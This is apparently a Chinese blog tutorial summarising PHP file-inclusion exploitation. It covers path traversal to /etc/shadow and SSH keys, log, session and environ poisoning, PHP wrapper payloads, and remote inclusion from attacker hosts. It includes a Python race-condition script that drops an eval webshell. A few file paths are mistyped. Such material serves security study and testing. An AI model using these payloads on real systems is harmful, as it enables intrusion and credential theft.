PHP檔案包含 整理

掉到魚缸裡的貓發表於2020-06-06

檔案包含

參考資料:
檔案包含漏洞簡介
利用phpinfo條件競爭
PHP檔案包含漏洞利用思路與Bypass總結手冊

1. 概述

什麼是檔案包含:檔案包含函式所載入的引數沒有經過過濾或者嚴格的定義,可以被使用者控制,包含其他檔案或惡意程式碼,導致資訊洩露或程式碼注入。

要求:包含的檔案路徑攻擊者可控,被包含的檔案web伺服器可訪問。

1.1 常見的引發漏洞的函式:

  1. include()執行到include時才包含檔案,檔案不存在時提出警告,但是繼續執行
  2. require()只要程式執行就會包含檔案,檔案不存在產生致命錯誤,並停止指令碼
  3. include_once()require_once()只執行一次,如果一個檔案已經被包含,則這兩個函式不會再去包含(即使檔案中間被修改過)。

當利用這四個函式來包含檔案時,不管檔案是什麼型別(圖片、txt等等),其中的文字內容都會直接作為php程式碼進行解析。

1.2 利用條件

  • 包含函式通過動態變數的方式引入需要包含的引數。

  • PHP中只要檔案內容符合PHP語法規範,不管是什麼字尾,都會被解析。

1.3 分類和利用思路

檔案包含通常按照包含檔案的位置分為兩類:本地檔案包含(LFI)和遠端檔案包含(RFI),顧名思義,本地檔案包含就是指包含本地伺服器上儲存的一些檔案;遠端檔案包含則是指被包含的檔案不儲存在本地。

本地檔案包含

  1. 包含本地檔案、執行程式碼
  2. 配合檔案上傳,執行惡意指令碼
  3. 讀取本地檔案
  4. 通過包含日誌的方式GetShell
  5. 通過包含/proc/self/envion檔案GetShell
  6. 通過偽協議執行惡意指令碼
  7. 通過phpinfo頁面包含臨時檔案

遠端檔案包含

  1. 直接執行遠端指令碼(在本地執行)

遠端檔案包含需要在php.ini中進行配置,才可開啟:

allow_url_fopen = On:本選項啟用了 URL 風格的 fopen 封裝協議,使得可以訪問 URL 物件檔案。預設的封裝協議提供用 ftp 和 http 協議來訪問遠端檔案,一些擴充套件庫例如 zlib 可能會註冊更多的封裝協議。(出於安全性考慮,此選項只能在 php.ini 中設定。)

allow_url_include = On:此選項允許將具有URL形式的fopen包裝器與以下功能一起使用:include,include_once,require,require_once。(該功能要求allow_url_fopen開啟)

2. 利用方法

2.1 配合檔案解析漏洞來包含

http://target.com/?page=../../upload/123.jpg/.php

2.2 讀取系統敏感檔案(路徑遍歷)

include.php?file=../../../../../../../etc/passwd

Windows:

​ C:\boot.ini //檢視系統版本
​ C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置檔案
​ C:\Windows\repair\sam //儲存系統初次安裝的密碼
​ C:\Program Files\mysql\my.ini //Mysql配置
​ C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
​ C:\Windows\php.ini //php配置資訊
​ C:\Windows\my.ini //Mysql配置資訊

Linux:

/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(檔案識別符號)
/proc/mounts
/porc/config.gz

2.3 包含http日誌檔案

通過包含日誌檔案,來執行夾雜在URL請求或者User-Agent頭中的惡意指令碼

  1. 通過讀取配置檔案確定日誌檔案地址

    預設地址通常為:/var/log/httpd/access_log/var/log/apache2/access.log

    1568647706502

  2. 請求時直接在URL後面加上指令碼即可http://www.target.com/index.php<?php phpinfo();?>,之後去包含這個日誌檔案即可。

  3. 注意:日誌檔案會記錄最為原始的URL請求,在瀏覽器位址列中輸入的地址會被URL編碼,通過CURl或者Burp改包繞過編碼。

apache+Linux 日誌預設路徑
/etc/httpd/logs/access_log
/var/log/httpd/access_log
xmapp日誌預設路徑
D:/xampp/apache/logs/access.log
D:/xampp/apache/logs/error.log
IIS預設日誌檔案
C:/WINDOWS/system32/Logfiles
%SystemDrive%/inetpub/logs/LogFiles
nginx
/usr/local/nginx/logs
/opt/nginx/logs/access.log

通過包含環境變數/proc/slef/enversion來執行惡意指令碼,修改HTTP請求的User-Agent報頭,但是沒復現成功 ?

2.4 包含SSH日誌

和包含HTTP日誌類似,登入使用者的使用者名稱會被記錄在日誌中,如果可以讀取到ssh日誌檔案,則可以利用惡意使用者名稱注入php程式碼。

SSH登入日誌常見儲存位置:/var/log/auth.log/var/log/secure

image-20200602222554534

image-20200602223106890

2.5 使用PHP偽協議

PHP內建了很多URL 風格的封裝協議,除了用於檔案包含,還可以用於很多檔案操作函式。在phpinfo的Registered PHP Streams中可以找到目前環境下可用的協議。

image-20200601222936655

file:// — 訪問本地檔案系統
http:// — 訪問 HTTP(s) 網址
ftp:// — 訪問 FTP(s) URLs
php:// — 訪問各個輸入/輸出流(I/O streams
zlib:// — 壓縮流
data:// — 資料(RFC 2397)
glob:// — 查詢匹配的檔案路徑模式
phar:// — PHP 壓縮檔案
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音訊流
expect:// — 處理互動式的流
  1. file://訪問本地檔案系統http://target.com/?page=file://D:/www/page.txt,正反斜線都行(windows),對於共享檔案伺服器可以使用\\smbserver\share\path\to\winfile.ext

  2. php://input訪問輸入輸出流:?page=php://input,在POST內容中輸入想要執行的指令碼。

  3. php://filter:是一種元封裝器, 設計用於資料流開啟時的篩選過濾應用。

    image-20200601223225081

    全部可用過濾器列表:https://www.php.net/manual/zh/filters.php

    通常利用該偽協議來讀取php原始碼,通過設定編碼方式(以base64編碼為例),可以防止讀取的內容被當做php程式碼解析,利用方式(就是read寫不寫的區別):

    index.php?file=php://filter/read=convert.base64-encode/resource=index.php
    index.php?file=php://filter/convert.base64-encode/resource=index.php
    
  4. data://資料流封裝:?page=data://text/plain,指令碼

img

  1. zip://壓縮流:建立惡意程式碼檔案,新增到壓縮資料夾,上傳,無視字尾。通過?page=zip://絕對路徑%23檔名訪問,5.2.9之前是隻能絕對路徑。

備註:

  1. 檔案需要絕對路徑才能訪問

  2. 需要通過#(也就是URL中的%23)來指定程式碼檔案

  3. compress.bzip2://compress.zlib://壓縮流,與zip類似,但是支援相對路徑無視字尾

    bzipgzip是對單個檔案進行壓縮(不要糾結要不要指定壓縮包內的檔案?)

    ?file=compress.bzip2://路徑
    ?file=compress.zlib://路徑
    
  4. phar://支援zip、phar格式的壓縮(歸檔)檔案,無視字尾(也就是說jpg字尾照樣給你解開來),?file=phar://壓縮包路徑/壓縮包內檔名,絕對路徑和相對路徑都行。

    利用方法:

    index.php?file=phar://test.zip/test.txt
    index.php?file=phar://test.xxx/test.txt
    

    製作phar檔案(php5.3之後):

    1. 設定php.iniphar.readonly=off
    2. 製作生成指令碼
    <?php 
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設定stub
    $phar->addFromString("test.txt", "<?php phpinfo();?>"); //新增要壓縮的檔案及內容
    $phar->stopBuffering(); //簽名自動計算
    ?>
    // 這個指令碼需要使用php.exe 來生成
    
    1. 生成指令碼2

      <?php
      $p = new PharData(dirname(__FILE__).'./test.123', 0,'test',Phar::ZIP);
      $p->addFromString('test.txt', '<?php phpinfo();?>');
      ?>
      //這個指令碼可以通過訪問來觸發,在本地生成一個test.123,但是不能生成字尾為phar的檔案(其他的都行,甚至是php)
      

2.6 配合phpinfo頁面包含臨時檔案

向phpinfo頁面上傳檔案的時候,phpinfo會返回臨時檔案的儲存路徑

1568784122538

臨時檔案存活時間很短,當連線結束後,臨時檔案就會消失。條件競爭

只要傳送足夠多的的資料,讓頁面還未反應過來的時候去包含檔案,即可。

  1. 傳送包含了webshell的上傳資料包給phpinfo頁面,這個資料包的header、get等位置需要塞滿垃圾資料

  2. 因為phpinfo頁面會將所有資料都列印出來,1中的垃圾資料會將整個phpinfo頁面撐得非常大

  3. php預設的輸出緩衝區大小為4096,可以理解為php每次返回4096個位元組給socket連線

  4. 所以,我們直接操作原生socket,每次讀取4096個位元組。只要讀取到的字元裡包含臨時檔名,就立即傳送第二個資料包

  5. 此時,第一個資料包的socket連線實際上還沒結束,因為php還在繼續每次輸出4096個位元組,所以臨時檔案此時還沒有刪除

  6. 利用這個時間差,第二個資料包,也就是檔案包含漏洞的利用,即可成功包含臨時檔案,最終getshell

    利用指令碼exp

2.7 包含Session

  1. PHP將使用者Session以檔案的形式儲存在主機中,通過php.ini檔案中的session.save_path欄位可以設定具體的儲存位置,通過phpinfo頁面也可以查詢到;檔案命名格式為:sess_<PHPSESSID>,其中PHPSESSID為使用者cookie中PHPSESSID對應的值;Session檔案一些可能的儲存路徑:

    /var/lib/php/sess_PHPSESSID
    /var/lib/php/sessions/sess_PHPSESSID
    /tmp/sess_PHPSESSID
    /tmp/sessions/sess_PHPSESSID
    
  2. Session檔案內容有兩種記錄格式:php、php_serialize,通過修改php.ini檔案中session.serialize_handler欄位來進行設定。

    以php格式記錄時,檔案內容中以|來進行分割:

    image-20200602202539935

    以php_serialize格式記錄時,將會話內容以序列化形式儲存:

    image-20200602204111143

  3. 如果儲存的session檔案中字串可控,那麼就可以構造惡意的字串觸發檔案包含。

    先構造一個含有惡意字串的session檔案:?user=test&cmd=<?php phpinfo();?>,之後包含這個會話的session檔案。

    image-20200602205045488

2.9 包含環境變數

CGI****利用條件:1231、php以cgi方式執行,這樣environ才會儲存UA頭。``2、environ檔案儲存位置已知,且environ檔案可讀。利用姿勢:proc/self/environ中會儲存user-agent頭。如果在user-agent中插入php程式碼,則php程式碼會被寫入到environ中。之後再包含它,即可。

3. 繞過技巧

3.1 限制路徑路徑

伺服器限制了訪問檔案的路徑,例如在變數前面追加'/var/www/html'限制只能包含web目錄下的檔案,可以利用路徑穿越進行對抗。

../../../../../../../ect/passwd

對於輸入有過濾的情況,可以嘗試用URL編碼進行轉換,比如%2e%2e%2f,甚至是二次轉換。

3.2 限制字尾

對使用者輸入新增字尾,比如:自動新增.jgp字尾、或者期望使用者輸如一個父目錄,伺服器自動拼接上子目錄和檔案。

  1. 如果是遠端檔案包含的話可以利用URL的特性?#

    構造出類似於http://test.com/evil.php?/static/test.phphttp://test.com/evil.php#/static/test.php的包含路徑,使得伺服器預設的字尾變成URL的引數或者頁面錨點。

  2. 利用壓縮協議:構建一個壓縮包歸檔檔案,裡面包含上伺服器加的字尾,這樣完整的路徑將指向壓縮包內檔案。

    比如壓縮包中檔案為test.zip->test->defautl->test.php ,構造url:include.php?file=phar://test.zip/test,服務端拼接後變成include('phar://test.zip/test/defautl/test.php')

  3. 利用超長字串進行截斷,在php<5.2.8的版本可以設定一個超級長的路徑,超過的部分將被伺服器丟棄。

    win最長為256位元組、Linux為4096位元組,構造include.php?file=./././././(n多個)././test.php

  4. 利用00截斷:php<5.3.4時可用%00對字串進行截斷,%00被是識別為字串終止標記。

3.3 allow_url_include = off

利用SMB、webdav等使用UNC路徑的檔案共享進行繞過。

  1. 利用SMB(只對Win的web伺服器有效):構建SMB伺服器後,構造URL:?include.php?file=\\172.16.97.128\test.php
  2. 利用WebDAV:構造連線?include.php?file=//172.16.97.128/webdav/test.php

3.4 Base64 處理的session檔案

為了保護使用者的資訊或儲存更多格式的資訊,很多時候都會對Session檔案進行編碼,以Base64編碼為例,闡述繞過思路。瞭解服務端使用的編碼模式以及對應的解碼模式;合理安排payload使其滿足解碼條件,只要不干擾php程式碼執行就可以。

  1. 根據上邊介紹的偽協議的用法,可以知道使用index.php?file=php://filter/read=convert.base64-decode/resource=index.php即可對base64編碼的檔案進行解碼,但是直接解碼session檔案時會出現亂碼。其原因在於session文件中包含的並非全部都是base64編碼的內容,session開頭的user|s:24:字串也被當做base64進行解碼,從而導致出現亂碼的情況,因此如果能忽略前面的字元,就可以完美解碼了。

    image-20200603201257906

    image-20200603201451639

  2. 有利條件:PHP在進行base64解碼的時候並不會去處理非Base64編碼字符集的內容,直接忽略過去並拼接之後的內容。也就是說,Session檔案中的:|{};"這類字元對Base64解碼沒有影響。

  3. Base64解碼過程簡單來說就是:將字串按照每4個字元分為一組,解碼為二進位制資料流再拼接到一起,因此要保證我們可以將payload正確解出,需要將編碼後的payload其實位置控制在4n+1的位置(第5、9、13...位)。(base64編碼後長度為原資料長度的4/3)

  4. user:|s:24:"有效字元有7個,若要將payload置於第9位,則需要再增加一個字元,簡單有效的辦法就是讓24變成一個三位數——填充無效資料擴充payload長度。

    image-20200603202815021

  5. serialize模式同理,session檔案中a:1:{s:4:"user";s:24:"共11個干擾字元,因此同樣只需將payload產生的字串長度增加到三位數即可。

    image-20200603203141019

    image-20200603203446872

3.5 自己構造Session

有的網站可能不提供使用者會話記錄,但是預設的配置可以讓我們自己構造出一個Session檔案。相關的選項如下:

  • session.use_strict_mode = 0,允許使用者自定義Session_ID,也就是說可以通過在Cookie中設定PHPSESSID=xxx將session檔名定義為sess_xxx
  • session.upload_progress.enabled = on,PHP可以在每個檔案上傳時監視上傳進度。
  • session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS",當一個上傳在處理中,同時POST一個與INI中設定的session.upload_progress.name同名變數時,上傳進度可以在$_SESSION中獲得。 當PHP檢測到這種POST請求時,它會在$_SESSION中新增一組資料, 索引是session.upload_progress.prefixsession.upload_progress.name連線在一起的值。

利用思路:

  1. 上傳一個檔案

  2. 上傳時設定一個自定義PHPSESSIDcookie

  3. POST PHP_SESSION_UPLOAD_PROGRESS惡意欄位:"PHP_SESSION_UPLOAD_PROGRESS":'<?php phpinfo();?>'

    這樣就會在Session目錄下生成一個包含惡意程式碼的session檔案。

    image-20200603220807455

  4. 但是php預設設定中會開啟session.upload_progress.cleanup = on,也就是當檔案上傳完成後會自動刪除session檔案,使用條件競爭繞過,惡意程式碼功能設定為生成一個shell.php。

利用exp:

import io
import sys
import requests
import threading

sessid = 'test'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://127.0.0.1/index.php',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[test])?>');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'http://127.0.0.1/include.php?file=D:\\phpstudy_pro\\Extensions\\tmp\\tmp\\sess_{sessid}')
        # print('[+++]retry')
        # print(response.text)

        if 'PHP Version' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

3.6 CVE-2018-14884

CVE-2018-14884會造成php7出現段錯誤,從而導致垃圾回收機制失效,POST的檔案會保留在系統快取目錄下而不會被清除。

影響版本:

PHP Group PHP 7.0.*,<7.0.27
PHP Group PHP 7.1.*,<7.1.13
PHP Group PHP 7.2.*,<7.2.1

windows 臨時檔案:C:\windows\php<隨機字元>.tmp

linux臨時檔案:/tmp/php<隨機字元>

  1. 漏洞驗證include.php?file=php://filter/string.strip_tags/resource=index.php返回500錯誤

    image-20200603222855536

  2. post惡意字串

    import requests
    
    files = {
      'file': '<?php phpinfo();'
    }
    url = 'http://127.0.0.1/include.php?file=php://filter/string.strip_tags/resource=index.php'
    r = requests.post(url=url, files=files, allow_redirects=False)
    
  3. 在臨時檔案中可以看到惡意程式碼成功寫入

    image-20200603223356099

  4. 至於包含嘛,爆破或者其他手段探測這個臨時檔案吧。

    image-20200603223459892

相關文章